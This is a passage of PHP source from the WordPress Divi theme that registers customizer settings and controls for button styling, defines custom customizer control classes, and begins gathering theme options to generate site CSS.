					'section'  => 'et_divi_buttons',
					'settings' => 'et_divi[all_buttons_text_color]',
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[all_buttons_bg_color]',
			array(
				'default'           => 'rgba(0,0,0,0)',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_alpha_color',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Customize_Color_Alpha_Control(
				$wp_customize,
				'et_divi[all_buttons_bg_color]',
				array(
					'label'    => esc_html__( 'Background Color', 'Divi' ),
					'section'  => 'et_divi_buttons',
					'settings' => 'et_divi[all_buttons_bg_color]',
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[all_buttons_border_width]',
			array(
				'default'           => ET_Global_Settings::get_value( 'all_buttons_border_width', 'default' ),
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'absint',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Range_Option(
				$wp_customize,
				'et_divi[all_buttons_border_width]',
				array(
					'label'       => esc_html__( 'Border Width', 'Divi' ),
					'section'     => 'et_divi_buttons',
					'type'        => 'range',
					'input_attrs' => array(
						'min'  => 0,
						'max'  => 10,
						'step' => 1,
					),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[all_buttons_border_color]',
			array(
				'default'           => '#ffffff',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_alpha_color',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Customize_Color_Alpha_Control(
				$wp_customize,
				'et_divi[all_buttons_border_color]',
				array(
					'label'    => esc_html__( 'Border Color', 'Divi' ),
					'section'  => 'et_divi_buttons',
					'settings' => 'et_divi[all_buttons_border_color]',
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[all_buttons_border_radius]',
			array(
				'default'           => ET_Global_Settings::get_value( 'all_buttons_border_radius', 'default' ),
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'absint',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Range_Option(
				$wp_customize,
				'et_divi[all_buttons_border_radius]',
				array(
					'label'       => esc_html__( 'Border Radius', 'Divi' ),
					'section'     => 'et_divi_buttons',
					'type'        => 'range',
					'input_attrs' => array(
						'min'  => 0,
						'max'  => 100,
						'step' => 1,
					),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[all_buttons_spacing]',
			array(
				'default'           => ET_Global_Settings::get_value( 'all_buttons_spacing', 'default' ),
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_int_number',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Range_Option(
				$wp_customize,
				'et_divi[all_buttons_spacing]',
				array(
					'label'       => esc_html__( 'Letter Spacing', 'Divi' ),
					'section'     => 'et_divi_buttons',
					'type'        => 'range',
					'input_attrs' => array(
						'min'  => -2,
						'max'  => 10,
						'step' => 1,
					),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[all_buttons_font_style]',
			array(
				'default'           => '',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_font_style',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Font_Style_Option(
				$wp_customize,
				'et_divi[all_buttons_font_style]',
				array(
					'label'   => esc_html__( 'Button Font Style', 'Divi' ),
					'section' => 'et_divi_buttons',
					'type'    => 'font_style',
					'choices' => et_divi_font_style_choices(),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[all_buttons_font]',
			array(
				'default'           => 'none',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_font_choices',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Select_Option(
				$wp_customize,
				'et_divi[all_buttons_font]',
				array(
					'label'    => esc_html__( 'Buttons Font', 'Divi' ),
					'section'  => 'et_divi_buttons',
					'settings' => 'et_divi[all_buttons_font]',
					'type'     => 'select',
					'choices'  => $font_choices,
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[all_buttons_icon]',
			array(
				'default'           => 'yes',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'sanitize_callback' => 'et_sanitize_yes_no',
			)
		);

		$wp_customize->add_control(
			'et_divi[all_buttons_icon]',
			array(
				'label'   => esc_html__( 'Add Button Icon', 'Divi' ),
				'section' => 'et_divi_buttons',
				'type'    => 'select',
				'choices' => et_divi_yes_no_choices(),
			)
		);

		$wp_customize->add_setting(
			'et_divi[all_buttons_selected_icon]',
			array(
				'default'           => '5',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_font_icon',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Icon_Picker_Option(
				$wp_customize,
				'et_divi[all_buttons_selected_icon]',
				array(
					'label'   => esc_html__( 'Select Icon', 'Divi' ),
					'section' => 'et_divi_buttons',
					'type'    => 'icon_picker',
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[all_buttons_icon_color]',
			array(
				'default'           => '#ffffff',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_alpha_color',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Customize_Color_Alpha_Control(
				$wp_customize,
				'et_divi[all_buttons_icon_color]',
				array(
					'label'    => esc_html__( 'Icon Color', 'Divi' ),
					'section'  => 'et_divi_buttons',
					'settings' => 'et_divi[all_buttons_icon_color]',
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[all_buttons_icon_placement]',
			array(
				'default'           => 'right',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_left_right',
			)
		);

		$wp_customize->add_control(
			'et_divi[all_buttons_icon_placement]',
			array(
				'label'   => esc_html__( 'Icon Placement', 'Divi' ),
				'section' => 'et_divi_buttons',
				'type'    => 'select',
				'choices' => et_divi_left_right_choices(),
			)
		);

		$wp_customize->add_setting(
			'et_divi[all_buttons_icon_hover]',
			array(
				'default'           => 'yes',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_yes_no',
			)
		);

		$wp_customize->add_control(
			'et_divi[all_buttons_icon_hover]',
			array(
				'label'   => esc_html__( 'Only Show Icon on Hover', 'Divi' ),
				'section' => 'et_divi_buttons',
				'type'    => 'select',
				'choices' => et_divi_yes_no_choices(),
			)
		);

		$wp_customize->add_setting(
			'et_divi[all_buttons_text_color_hover]',
			array(
				'default'           => '',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_alpha_color',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Customize_Color_Alpha_Control(
				$wp_customize,
				'et_divi[all_buttons_text_color_hover]',
				array(
					'label'    => esc_html__( 'Text Color', 'Divi' ),
					'section'  => 'et_divi_buttons_hover',
					'settings' => 'et_divi[all_buttons_text_color_hover]',
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[all_buttons_bg_color_hover]',
			array(
				'default'           => 'rgba(255,255,255,0.2)',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_alpha_color',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Customize_Color_Alpha_Control(
				$wp_customize,
				'et_divi[all_buttons_bg_color_hover]',
				array(
					'label'    => esc_html__( 'Background Color', 'Divi' ),
					'section'  => 'et_divi_buttons_hover',
					'settings' => 'et_divi[all_buttons_bg_color_hover]',
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[all_buttons_border_color_hover]',
			array(
				'default'           => 'rgba(0,0,0,0)',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_alpha_color',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Customize_Color_Alpha_Control(
				$wp_customize,
				'et_divi[all_buttons_border_color_hover]',
				array(
					'label'    => esc_html__( 'Border Color', 'Divi' ),
					'section'  => 'et_divi_buttons_hover',
					'settings' => 'et_divi[all_buttons_border_color_hover]',
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[all_buttons_border_radius_hover]',
			array(
				'default'           => ET_Global_Settings::get_value( 'all_buttons_border_radius_hover', 'default' ),
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'absint',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Range_Option(
				$wp_customize,
				'et_divi[all_buttons_border_radius_hover]',
				array(
					'label'       => esc_html__( 'Border Radius', 'Divi' ),
					'section'     => 'et_divi_buttons_hover',
					'type'        => 'range',
					'input_attrs' => array(
						'min'  => 0,
						'max'  => 50,
						'step' => 1,
					),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[all_buttons_spacing_hover]',
			array(
				'default'           => ET_Global_Settings::get_value( 'all_buttons_spacing_hover', 'default' ),
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_int_number',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Range_Option(
				$wp_customize,
				'et_divi[all_buttons_spacing_hover]',
				array(
					'label'       => esc_html__( 'Letter Spacing', 'Divi' ),
					'section'     => 'et_divi_buttons_hover',
					'type'        => 'range',
					'input_attrs' => array(
						'min'  => -2,
						'max'  => 10,
						'step' => 1,
					),
				)
			)
		);
	}
endif;

/**
 * Add action hook to the footer in customizer preview.
 */
function et_customizer_preview_footer_action() {
	if ( is_customize_preview() ) {
		do_action( 'et_customizer_footer_preview' );
	}
}
add_action( 'wp_footer', 'et_customizer_preview_footer_action' );

/**
 * Add container with social icons to the footer in customizer preview.
 * Used to get the icons and append them into the header when user enables the header social icons in customizer.
 */
function et_load_social_icons() {
	$post_id = is_singular() ? get_the_ID() : 0;
	$is_custom_post_type = et_builder_post_is_of_custom_post_type( $post_id );

	echo '<div class="et_customizer_social_icons" style="display:none;">';
		get_template_part( 'includes/social_icons', 'header' );
	echo '</div>';
	?>
	<script type="text/javascript">
		(function($) {
			var isCustomPostType = <?php echo wp_json_encode( $is_custom_post_type ); ?>;

			$(function() {
				$(document).trigger('et-customizer-preview-load', {
					isCustomPostType: isCustomPostType,
					selectorWrapper: <?php echo wp_json_encode( ET_BUILDER_CSS_PREFIX ); ?>
				});
			});
		}(jQuery));
	</script>
	<?php
}
add_action( 'et_customizer_footer_preview', 'et_load_social_icons' );

function et_divi_customize_preview_js() {
	$theme_version = et_get_theme_version();

	$custom_user_fonts = et_builder_get_custom_fonts();
	$use_google_fonts  = et_core_use_google_fonts();
	$websafe_fonts     = et_builder_get_websafe_fonts();
	$google_fonts      = $websafe_fonts;
	$supported_options = et_builder_get_font_weight_list();

	if ( $use_google_fonts ) {
		$google_fonts = array_merge( $websafe_fonts, et_builder_get_google_fonts() );
		ksort( $google_fonts );
	}

	$google_fonts = array_merge( array( 'Default' => array() ), $google_fonts );

	wp_enqueue_script( 'divi-customizer', get_template_directory_uri() . '/js/theme-customizer.js', array( 'customize-preview' ), $theme_version, true );
	wp_localize_script( 'divi-customizer', 'et_main_customizer_data', array(
		'original_footer_credits' => et_get_original_footer_credits(),
		'google_fonts'            => $google_fonts,
		'custom_fonts'            => $custom_user_fonts,
		'supported_options'       => $supported_options,
	) );
}
add_action( 'customize_preview_init', 'et_divi_customize_preview_js' );

function et_divi_customize_preview_js_context() {
	// Run in the wp_enqueue_scripts hook as it fires late enough that the main WP query has been resolved.
	$layouts = et_theme_builder_get_template_layouts();

	wp_localize_script( 'divi-customizer', 'et_theme_builder_customizer_data', array(
		'hasHeaderLayout' => ! empty( $layouts ) && $layouts[ ET_THEME_BUILDER_HEADER_LAYOUT_POST_TYPE ]['override'],
		'hasFooterLayout' => ! empty( $layouts ) && $layouts[ ET_THEME_BUILDER_FOOTER_LAYOUT_POST_TYPE ]['override'],
	) );
}
add_action( 'wp_enqueue_scripts', 'et_divi_customize_preview_js_context' );

function et_divi_customize_preview_css() {
	$theme_version = et_get_theme_version();

	wp_enqueue_style( 'divi-customizer-controls-styles', get_template_directory_uri() . '/css/theme-customizer-controls.css', array(), $theme_version );
	wp_enqueue_script( 'divi-customizer-controls-js', get_template_directory_uri() . '/js/theme-customizer-controls.js', array( 'jquery' ), $theme_version, true );
	wp_localize_script( 'divi-customizer-controls-js', 'et_divi_customizer_data', array(
		'is_old_wp' => et_pb_is_wp_old_version() ? 'old' : 'new',
		'color_palette' => implode( '|', et_pb_get_default_color_palette() ),
	) );
}
add_action( 'customize_controls_enqueue_scripts', 'et_divi_customize_preview_css' );

/**
 * Enqueue styles inside the Theme Customizer for preview purposes.
 */
function et_divi_customizer_styles() {
	$theme_version = et_get_theme_version();

	if ( is_customize_preview() ) {
		wp_enqueue_style( 'divi-customizer-styles', get_template_directory_uri() . '/css/theme-customizer-styles.css', array(), $theme_version );
	}
}
add_action( 'wp_enqueue_scripts', 'et_divi_customizer_styles' );

/**
 * Modifying builder options based on saved Divi values
 * @param array  current builder options values
 * @return array modified builder options values
 */
function et_divi_builder_options( $options ) {
	$options['all_buttons_icon'] = et_get_option( 'all_buttons_icon', 'yes' );

	return $options;
}
add_filter( 'et_builder_options', 'et_divi_builder_options' );

/**
 * Add custom customizer control
 * Check for WP_Customizer_Control existence before adding custom control because WP_Customize_Control is loaded on customizer page only
 *
 * @see _wp_customize_include()
 */
if ( class_exists( 'WP_Customize_Control' ) ) {

	/**
	 * Font style control for Customizer
	 */
	class ET_Divi_Font_Style_Option extends WP_Customize_Control {
		public $type = 'font_style';
		public function render_content() {
			?>
			<label>
				<?php if ( ! empty( $this->label ) ) : ?>
					<span class="customize-control-title"><?php echo esc_html( $this->label ); ?></span>
				<?php endif;
				if ( ! empty( $this->description ) ) : ?>
					<span class="description customize-control-description"><?php echo esc_html( $this->description ); ?></span>
				<?php endif; ?>
			</label>
			<?php $current_values = explode('|', $this->value() );
			if ( empty( $this->choices ) )
				return;
			foreach ( $this->choices as $value => $label ) :
				$checked_class = in_array( $value, $current_values ) ? ' et_font_style_checked' : '';
				?>
					<span class="et_font_style et_font_value_<?php echo esc_attr( $value ); echo $checked_class; ?>">
						<input type="checkbox" class="et_font_style_checkbox" value="<?php echo esc_attr( $value ); ?>" <?php checked( in_array( $value, $current_values ) ); ?> />
					</span>
				<?php
			endforeach;
			?>
			<input type="hidden" class="et_font_styles" <?php $this->input_attrs(); ?> value="<?php echo esc_attr( $this->value() ); ?>" <?php $this->link(); ?> />
			<?php
		}
	}

	/**
	 * Icon picker control for Customizer
	 */
	class ET_Divi_Icon_Picker_Option extends WP_Customize_Control {
		public $type = 'icon_picker';

		public function render_content() {

		?>
		<label>
			<?php if ( ! empty( $this->label ) ) : ?>
				<span class="customize-control-title"><?php echo esc_html( $this->label ); ?></span>
			<?php endif;
			et_pb_font_icon_list(); ?>
			<input type="hidden" class="et_selected_icon" <?php $this->input_attrs(); ?> value="<?php echo esc_attr( $this->value() ); ?>" <?php $this->link(); ?> />
		</label>
		<?php
		}
	}

	/**
	 * Range-based sliding value picker for Customizer
	 */
	class ET_Divi_Range_Option extends WP_Customize_Control {
		public $type = 'range';

		public function render_content() {
		?>
		<label>
			<?php if ( ! empty( $this->label ) ) : ?>
				<span class="customize-control-title"><?php echo esc_html( $this->label ); ?></span>
			<?php endif;
			if ( ! empty( $this->description ) ) : ?>
				<span class="description customize-control-description"><?php echo esc_html( $this->description ); ?></span>
			<?php endif; ?>
			<input type="<?php echo esc_attr( $this->type ); ?>" <?php $this->input_attrs(); ?> value="<?php echo esc_attr( $this->value() ); ?>" <?php $this->link(); ?> data-reset_value="<?php echo esc_attr( $this->setting->default ); ?>" />
			<input type="number" <?php $this->input_attrs(); ?> class="et-pb-range-input" value="<?php echo esc_attr( $this->value() ); ?>" />
			<span class="et_divi_reset_slider"></span>
		</label>
		<?php
		}
	}

	/**
	 * Custom Select option which supports data attributes for the <option> tags
	 */
	class ET_Divi_Select_Option extends WP_Customize_Control {
		public $type = 'select';

		public function render_content() {
		?>
		<label>
			<?php if ( ! empty( $this->label ) ) : ?>
				<span class="customize-control-title"><?php echo esc_html( $this->label ); ?></span>
			<?php endif;
			if ( ! empty( $this->description ) ) : ?>
				<span class="description customize-control-description"><?php echo esc_html( $this->description ); ?></span>
			<?php endif; ?>

			<select <?php $this->link(); ?>>
				<?php
				foreach ( $this->choices as $value => $attributes ) {
					$data_output = '';

					if ( ! empty( $attributes['data'] ) ) {
						foreach( $attributes['data'] as $data_name => $data_value ) {
							if ( '' !== $data_value ) {
								$data_output .= sprintf( ' data-%1$s="%2$s"',
									esc_attr( $data_name ),
									esc_attr( $data_value )
								);
							}
						}
					}

					echo '<option value="' . esc_attr( $value ) . '"' . selected( $this->value(), $value, false ) . $data_output . '>' . esc_html( $attributes['label'] ) . '</option>';
				}
				?>
			</select>
		</label>
		<?php
		}
	}

	// phpcs:disable -- Legacy code standards
	/**
	 * Custom Select option which supports data attributes for the <option> tags
	 */
	class ET_Divi_Custom_Select_Option extends WP_Customize_Control {
		public $type = 'select';

		public function render_content() {
		?>
		<label>
			<?php if ( ! empty( $this->label ) ) : ?>
				<span class="customize-control-title"><?php echo esc_html( $this->label ); ?></span>
			<?php endif;
			if ( ! empty( $this->description ) ) : ?>
				<span class="description customize-control-description"><?php echo esc_html( $this->description ); ?></span>
			<?php endif; ?>
			<div class="et-divi-select-wrapper">
				<select <?php $this->link(); ?>>
					<?php
					foreach ( $this->choices as $value => $label ) {
						echo '<option value="' . esc_attr( $value ) . '"' . selected( $this->value(), $value, false ) . '>' . esc_html( $label ) . '</option>';
					}
					?>
				</select>
			</div>
		</label>
		<?php
		}
	}
	// phpcs:enable

	/**
	 * Color picker with alpha color support for Customizer
	 */
	class ET_Divi_Customize_Color_Alpha_Control extends WP_Customize_Control {
		public $type = 'et_coloralpha';

		public $statuses;

		public function __construct( $manager, $id, $args = array() ) {
			$this->statuses = array( '' => esc_html__( 'Default', 'Divi' ) );
			parent::__construct( $manager, $id, $args );

			// Printed saved value should always be in lowercase
			add_filter( "customize_sanitize_js_{$id}", array( $this, 'sanitize_saved_value' ) );
		}

		public function enqueue() {
			wp_enqueue_script( 'wp-color-picker-alpha' );
			wp_enqueue_style( 'wp-color-picker' );
		}

		public function to_json() {
			parent::to_json();
			$this->json['statuses'] = $this->statuses;
			$this->json['defaultValue'] = $this->setting->default;
		}

		public function render_content() {}

		public function content_template() {
			?>
			<# var defaultValue = '';
			if ( data.defaultValue ) {
				if ( '#' !== data.defaultValue.substring( 0, 1 ) && 'rgba' !== data.defaultValue.substring( 0, 4 ) ) {
					defaultValue = '#' + data.defaultValue;
				} else {
					defaultValue = data.defaultValue;
				}
				defaultValue = ' data-default-color=' + defaultValue; // Quotes added automatically.
			} #>
			<label>
				<# if ( data.label ) { #>
					<span class="customize-control-title">{{{ data.label }}}</span>
				<# } #>
				<# if ( data.description ) { #>
					<span class="description customize-control-description">{{{ data.description }}}</span>
				<# } #>
				<div class="customize-control-content">
					<input class="color-picker-hex" data-alpha="true" type="text" maxlength="30" placeholder="<?php esc_attr_e( 'Hex Value', 'Divi' ); ?>" {{ defaultValue }} />
				</div>
			</label>
			<?php
		}

		/**
		 * Ensure saved value to be printed in lowercase.
		 * Mismatched case causes broken 4.7 in Customizer. Color Alpha control only saves string.
		 * @param string  saved value
		 * @return string formatted value
		 */
		public function sanitize_saved_value( $value ) {
			return strtolower( $value );
		}
	}

}

function et_divi_add_customizer_css() {
		if ( wp_doing_ajax() || wp_doing_cron() || ( is_admin() && ! is_customize_preview() ) ) {
			return;
		}

		/** @see ET_Core_SupportCenter::toggle_safe_mode */
		if ( et_core_is_safe_mode_active() ) {
			return;
		}

		$post_id     = et_core_page_resource_get_the_ID();
		$is_preview  = is_preview() || isset( $_GET['et_pb_preview_nonce'] ) || is_customize_preview();
		$is_singular = et_core_page_resource_is_singular();
		$is_cpt      = et_builder_should_wrap_styles();

		$disabled_global = 'off' === et_get_option( 'et_pb_static_css_file', 'on' );
		$disabled_post   = $disabled_global || ( $is_singular && 'off' === get_post_meta( $post_id, '_et_pb_static_css_file', true ) );

		$forced_inline     = $is_preview || $disabled_global || $disabled_post || post_password_required();
		$builder_in_footer = 'on' === et_get_option( 'et_pb_css_in_footer', 'off' );

		$unified_styles = $is_singular && ! $forced_inline && ! $builder_in_footer && et_core_is_builder_used_on_current_request();
		$resource_owner = $unified_styles ? 'core' : 'divi';
		$resource_slug  = $unified_styles ? 'unified' : 'customizer';
		$resource_slug .= $is_cpt ? '-cpt' : '';
		$css            = 'et_builder_maybe_wrap_css_selector';

		if ( $is_preview ) {
			// Don't let previews cause existing saved static css files to be modified.
			$resource_slug .= '-preview';
		}

		if ( function_exists( 'et_fb_is_enabled' ) && et_fb_is_enabled() ) {
			$resource_slug .= '-vb';
		}

		if ( ! $unified_styles ) {
			$post_id = 'global';
		}

		$resource_slug  = et_theme_builder_decorate_page_resource_slug( $post_id, $resource_slug );
		$styles_manager = et_core_page_resource_get( $resource_owner, $resource_slug, $post_id );

		$styles_manager->forced_inline = $forced_inline;

		if ( ! $styles_manager->forced_inline && $styles_manager->has_file() ) {
			// Static resource has already been created. No need to continue here.
			return;
		}

		$css_output = array();

		// Detect legacy settings
		$detect_legacy_secondary_nav_color = et_get_option( 'secondary_nav_text_color', 'Light' );
		$detect_legacy_primary_nav_color = et_get_option( 'primary_nav_text_color', 'Dark' );

		if ( $detect_legacy_primary_nav_color == 'Light' ) {
			$legacy_primary_nav_color = '#ffffff';
		} else {
			$legacy_primary_nav_color = 'rgba(0,0,0,0.6)';
		}

		if ( $detect_legacy_secondary_nav_color == 'Light' ) {
			$legacy_secondary_nav_color = '#ffffff';
		} else {
			$legacy_secondary_nav_color = 'rgba(0,0,0,0.7)';
		}

		$color_scheme = et_get_option( 'color_schemes', 'none' );

		$body_font_size      = absint( et_get_option( 'body_font_size', '14' ) );
		$body_font_height    = floatval( et_get_option( 'body_font_height', '1.7' ) );
		$body_header_size    = absint( et_get_option( 'body_header_size', '30' ) );
		$body_header_style   = et_get_option( 'body_header_style', '', '', true );
		$body_header_spacing = intval( et_get_option( 'body_header_spacing', '0' ) );
		$body_header_height  = floatval( et_get_option( 'body_header_height', '1' ) );
		$body_font_color     = et_get_option( 'font_color', '#666666' );
		$body_header_color   = et_get_option( 'header_color', '#666666' );
		$heading_font_weight = absint( et_get_option( 'heading_font_weight', '500' ) );
		$body_font_weight    = absint( et_get_option( 'body_font_weight', '500' ) );

		$accent_color = et_get_option( 'accent_color', '#2ea3f2' );
		$link_color = et_get_option( 'link_color', $accent_color );

		$content_width = absint( et_get_option( 'content_width', '1080' ) );
		$large_content_width = intval ( $content_width * 1.25 );
		$use_sidebar_width = et_get_option( 'use_sidebar_width', false );
		$sidebar_width = intval( et_get_option( 'sidebar_width', 21 ) );
		$section_padding = absint( et_get_option( 'section_padding', '4' ) );
		$row_padding = absint( et_get_option( 'row_padding', '2' ) );

		$tablet_header_font_size = absint( et_get_option( 'tablet_header_font_size', '30' ) );
		$tablet_body_font_size = absint( et_get_option( 'tablet_body_font_size', '14' ) );
		$tablet_section_height = absint( et_get_option( 'tablet_section_height', '50' ) );
		$tablet_row_height = absint( et_get_option( 'tablet_row_height', '30' ) );

		$phone_header_font_size = absint( et_get_option( 'phone_header_font_size', $tablet_header_font_size ) );
		$phone_body_font_size = absint( et_get_option( 'phone_body_font_size', $tablet_body_font_size ) );
		$phone_section_height = absint( et_get_option( 'phone_section_height', $tablet_section_height ) );
		$phone_row_height = absint( et_get_option( 'phone_row_height', $tablet_row_height ) );

		$header_style = et_get_option( 'header_style', 'left' );
		$menu_height = absint( et_get_option( 'menu_height', '66' ) );
		$logo_height = absint( et_get_option( 'logo_height', '54' ) );
		$menu_margin_top = absint( et_get_option( 'menu_margin_top', '0' ) );
		$menu_link = et_get_option( 'menu_link', $legacy_primary_nav_color );
		$menu_link_active = et_get_option( 'menu_link_active', '#2ea3f2' );
		$vertical_nav = et_get_option( 'vertical_nav', false );

		$hide_primary_logo = et_get_option( 'hide_primary_logo', 'false' );
		$hide_fixed_logo = et_get_option( 'hide_fixed_logo', 'false' );

		$default_primary_nav_font_size = 14;
		$primary_nav_font_size = absint( et_get_option( 'primary_nav_font_size', $default_primary_nav_font_size ) );
		$primary_nav_font_spacing = intval( et_get_option( 'primary_nav_font_spacing', '0' ) );
		$primary_nav_bg = et_get_option( 'primary_nav_bg', '#ffffff' );
		$primary_nav_font_style = et_get_option( 'primary_nav_font_style', '', '', true );
		$primary_nav_dropdown_bg = et_get_option( 'primary_nav_dropdown_bg', $primary_nav_bg );
		$primary_nav_dropdown_link_color = et_get_option( 'primary_nav_dropdown_link_color', $menu_link );
		$primary_nav_dropdown_line_color = et_get_option( 'primary_nav_dropdown_line_color', $accent_color );

		$mobile_menu_link = et_get_option( 'mobile_menu_link', $menu_link );
		$mobile_primary_nav_bg = et_get_option( 'mobile_primary_nav_bg', $primary_nav_bg );

		$secondary_nav_font_size = absint( et_get_option( 'secondary_nav_font_size', '12' ) );
		$secondary_nav_font_spacing = intval( et_get_option( 'secondary_nav_font_spacing', '0' ) );
		$secondary_nav_font_style = et_get_option( 'secondary_nav_font_style', '', '', true );
		$secondary_nav_text_color_new = et_get_option( 'secondary_nav_text_color_new', $legacy_secondary_nav_color );
		$secondary_nav_bg = et_get_option( 'secondary_nav_bg', et_get_option( 'accent_color', '#2ea3f2' ) );
		$secondary_nav_dropdown_bg = et_get_option( 'secondary_nav_dropdown_bg', $secondary_nav_bg );
		$secondary_nav_dropdown_link_color = et_get_option( 'secondary_nav_dropdown_link_color', $secondary_nav_text_color_new );

		$fixed_primary_nav_font_size = absint( et_get_option( 'fixed_primary_nav_font_size', $primary_nav_font_size ) );
		$fixed_primary_nav_bg = et_get_option( 'fixed_primary_nav_bg', $primary_nav_bg );
		$fixed_secondary_nav_bg = et_get_option( 'fixed_secondary_nav_bg', $secondary_nav_bg );
		$fixed_menu_height = absint( et_get_option( 'minimized_menu_height', '40' ) );
		$fixed_menu_link = et_get_option( 'fixed_menu_link', $menu_link );
		$fixed_menu_link_active = et_get_option( 'fixed_menu_link_active', $menu_link_active );
		$fixed_secondary_menu_link = et_get_option( 'fixed_secondary_menu_link', $secondary_nav_text_color_new );

		$footer_bg = et_get_option( 'footer_bg', '#222222' );
		$footer_widget_link_color = et_get_option( 'footer_widget_link_color', '#ffffff' );
		$footer_widget_text_color = et_get_option( 'footer_widget_text_color', '#ffffff' );
		$footer_widget_header_color = et_get_option( 'footer_widget_header_color', $accent_color );
		$footer_widget_bullet_color = et_get_option( 'footer_widget_bullet_color', $accent_color );

		$widget_header_font_size = intval( et_get_option( 'widget_header_font_size', $body_header_size * .6 ) );
		$widget_body_font_size = absint( et_get_option( 'widget_body_font_size', $body_font_size ) );
		$widget_body_line_height = floatval( et_get_option( 'widget_body_line_height', '1.7' ) );

		$button_text_size = absint( et_get_option( 'all_buttons_font_size', '20' ) );
		$button_text_color = et_get_option( 'all_buttons_text_color', '' );
		$button_bg_color = et_get_option( 'all_buttons_bg_color', 'rgba(0,0,0,0)' );
		$button_border_width = absint( et_get_option( 'all_buttons_border_width', '2' ) );
		$button_border_color = et_get_option( 'all_buttons_border_color', '#ffffff' );
		$button_border_radius = absint( et_get_option( 'all_buttons_border_radius', '3' ) );
		$button_text_style = et_get_option( 'all_buttons_font_style', '', '', true );
		$button_icon = et_get_option( 'all_buttons_selected_icon', '5' );
		$button_spacing = intval( et_get_option( 'all_buttons_spacing', '0' ) );
		$button_icon_color = et_get_option( 'all_buttons_icon_color', '#ffffff' );
		$button_text_color_hover = et_get_option( 'all_buttons_text_color_hover', '' );
		$button_bg_color_hover = et_get_option( 'all_buttons_bg_color_hover', 'rgba(255,255,255,0.2)' );
		$button_border_color_hover = et_get_option( 'all_buttons_border_color_hover', 'rgba(0,0,0,0)' );
		$button_border_radius_hover = absint( et_get_option( 'all_buttons_border_radius_hover', '3' ) );
		$button_spacing_hover = intval( et_get_option( 'all_buttons_spacing_hover', '0' ) );
		$button_icon_size = 1.6 * intval( $button_text_size );

		$slide_nav_show_top_bar = et_get_option( 'slide_nav_show_top_bar', true );
		$slide_nav_bg = et_get_option( 'slide_nav_bg', $accent_color );
		$slide_nav_links_color = et_get_option( 'slide_nav_links_color', '#ffffff' );
		$slide_nav_links_color_active = et_get_option( 'slide_nav_links_color_active', '#ffffff' );
		$slide_nav_top_color = et_get_option( 'slide_nav_top_color', 'rgba(255,255,255,0.6)' );
		$slide_nav_search = et_get_option( 'slide_nav_search', 'rgba(255,255,255,0.6)' );
		$slide_nav_search_bg = et_get_option( 'slide_nav_search_bg', 'rgba(0,0,0,0.2)' );
		$slide_nav_width = intval( et_get_option( 'slide_nav_width', '320' ) );
		$slide_nav_font_style = et_get_option( 'slide_nav_font_style', '', '', true );
		$slide_nav_font_size = intval( et_get_option( 'slide_nav_font_size', '14' ) );
		$slide_nav_top_font_size = intval( et_get_option( 'slide_nav_top_font_size', '14' ) );
		$slide_nav_font_spacing = intval ( et_get_option( 'slide_nav_font_spacing', '0' ) );
		$fullscreen_nav_font_size = intval( et_get_option( 'fullscreen_nav_font_size', '30' ) );
		$fullscreen_nav_top_font_size = intval( et_get_option( 'fullscreen_nav_top_font_size', '18' ) );

